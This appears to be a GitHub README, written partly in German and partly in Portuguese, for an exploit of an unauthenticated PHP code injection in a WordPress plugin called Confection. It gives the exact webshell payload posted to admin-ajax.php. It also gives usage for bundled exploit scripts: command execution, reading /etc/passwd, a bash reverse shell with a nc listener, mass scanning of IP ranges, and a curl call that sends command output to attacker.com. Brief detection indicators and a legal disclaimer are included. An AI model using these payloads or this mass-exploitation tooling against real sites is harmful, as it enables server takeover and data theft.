CVE-2026-115252 – WordPress Confection Plugin PHP-Code-Injection RCE | CVSS 10.0 | Von Gh0st-Bx1
RECHTLICHER HINWEIS: Dieses Repository wurde ausschließlich für Bildungs- und Sicherheitsforschungszwecke erstellt. Die Verwendung dieser Werkzeuge gegen Systeme ohne vorherige ausdrückliche schriftliche Genehmigung ist illegal. Der Autor übernimmt keine Haftung für den Missbrauch dieses Materials.
| Feld | Detail |
|---|---|
| CVE | CVE-2026-115252 |
| Alias | WP-Ghost |
| Typ | PHP-Code-Injection über fehlende Autorisierung (CWE-862 + CWE-94) |
| CVSS | 10.0 Kritisch (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) |
| Komponente | WordPress Confection Plugin - Endpunkt confection_save_settings |
| Vektoren | POST an admin-ajax.php ohne Authentifizierung |
| Authentifizierung | Nicht erforderlich (unauthenticated) |
| Betrifft | WordPress Confection Plugin Versionen 0.4.0 bis 0.4.7 |
| Behoben | Confection Plugin >= 0.4.8 |
| Veröffentlicht | November 2026 |
Das Plugin Confection für WordPress (Versionen 0.4.0 bis 0.4.7) registriert den Hook
wp_ajax_nopriv_confection_save_settings, der ohne Authentifizierung über
admin-ajax.php erreichbar ist. Der Handler speichert den Wert des Feldes confection_code direkt in
der Datei conf.php des Plugins ohne Validierung von Capability oder Nonce.
Ein Angreifer ohne jegliche Anmeldedaten kann beliebiges PHP einschleusen, das auf der Festplatte
gespeichert und bei jeder nachfolgenden Anfrage an die Datei conf.php ausgeführt wird.
1. Plugin registra hook wp_ajax_nopriv_confection_save_settings
(acessivel SEM autenticacao via admin-ajax.php)
2. Handler salva confection_code em conf.php sem validar nonce nem capability
3. Atacante POST para /wp-admin/admin-ajax.php:
action=confection_save_settings&confection_code=<?php system($_GET['cmd']); ?>
4. PHP gravado em: /wp-content/plugins/confection/includes/conf.php
5. Atacante acessa conf.php?cmd=id e obtem RCE como www-data/apache
Angriffsablauf:
Atacante --> POST /wp-admin/admin-ajax.php
action=confection_save_settings
confection_code=<?php system($_GET["ghost"]); ?>
|
Plugin grava PHP em conf.php (sem validar auth)
|
Atacante --> GET /wp-content/plugins/confection/includes/conf.php?ghost=id
|
RCE como processo do servidor web (www-data)
| Plugin-Version | Status |
|---|---|
| 0.4.0 - 0.4.7 | Anfällig (keine Auth-Verifizierung) |
| >= 0.4.8 | Behoben |
cve-2026-115252/
poc.py Verifica plugin e injeta webshell de teste
exploit.py Exploit completo: reverse shell, scan em massa
README.md Este arquivo
python poc.py --url http://alvo.com --check
python poc.py --url http://alvo.com --cmd "id"
python poc.py --url http://alvo.com --cmd "cat /etc/passwd"
python exploit.py --url http://alvo.com --cmd "id; whoami; hostname"
# Terminal 1 (listener integrado):
python exploit.py --url http://alvo.com --reverse-shell --lhost 192.168.1.10 --lport 4444
# Manual com nc:
nc -lvnp 4444
python exploit.py --url http://alvo.com \
--cmd "bash -c 'bash -i >& /dev/tcp/192.168.1.10/4444 0>&1'"
# Scan de CIDR
python exploit.py --scan 10.0.0.0/24 --threads 30
# Scan de arquivo
python exploit.py --scan alvos.txt --cmd "id"
# Scan + explorar todos os vulneraveis
python exploit.py --scan 10.0.0.0/24 --cmd "curl http://attacker.com/`id`"
--url URL base do WordPress (ex: http://alvo.com)
--cmd Comando a executar (default: id)
--token Parametro da webshell (default: ghost)
--check Apenas verifica o plugin (sem injecao)
--silent Suprime o banner
--url URL do WordPress alvo
--scan CIDR, range IP ou arquivo para scan em massa
--cmd Comando a executar
--token Parametro da webshell (default: ghost)
--reverse-shell Lanca reverse shell com listener integrado
--lhost IP para receber reverse shell
--lport Porta para reverse shell (default: 4444)
--threads Threads para scan (default: 20)
--silent Suprime o banner
| Indikator | Beschreibung |
|---|---|
Nicht authentifizierter POST an /wp-admin/admin-ajax.php | Exploit-Versuch |
PHP-Inhalt in conf.php (Plugin Confection) | Injizierte Webshell |
GET-Anfrage an conf.php mit Parametern | Ausführung der Webshell |
| Unerwartete ausgehende Verbindung vom Webserver | Aktive Reverse Shell |
Behebung:
conf.php auf bösartigen PHP-Inhalt prüfenadmin-ajax.php mit action=confection_save_settings blockierenVon Gh0st-Bx1 | https://github.com/Ghost-Bx1